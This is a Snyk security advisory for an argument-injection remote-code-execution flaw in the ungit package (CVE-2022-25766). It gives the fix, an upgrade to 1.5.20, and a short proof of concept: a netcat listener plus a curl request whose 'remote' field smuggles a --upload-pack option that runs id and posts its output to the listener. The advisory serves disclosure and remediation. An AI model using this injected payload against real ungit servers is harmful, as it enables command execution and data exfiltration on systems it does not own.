Remote Code Execution (RCE) Affecting ungit package, versions <1.5.20


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.27% (69th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-UNGIT-2414099
  • published21 Mar 2022
  • disclosed2 Mar 2022
  • creditAlessio Della Libera of Snyk Research Team

Introduced: 2 Mar 2022

CVE-2022-25766  (opens in a new tab)
CWE-78  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade ungit to version 1.5.20 or higher.

Overview

ungit is a version control library.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via argument injection. The issue occurs when calling the /api/fetch endpoint. User controlled values (remote and ref) are passed to the git fetch command. By injecting some git options it was possible to get arbitrary command execution.

PoC

  1. Install ungit and setup a project

  2. setup a listener for accepting incoming connections: nc -nvlp 8000

  3. run the following curl command to get the output of the id command: curl -d '{"path":"/home/ubuntu/poc/ungit","remote":"--upload-pack=curl http://localhost:8000 --data \"$(id)\"","ref":"foobar","socketId":1}' -H "Content-Type: application/json" -X POST http://localhost:8448/api/fetch

CVSS Scores

version 3.1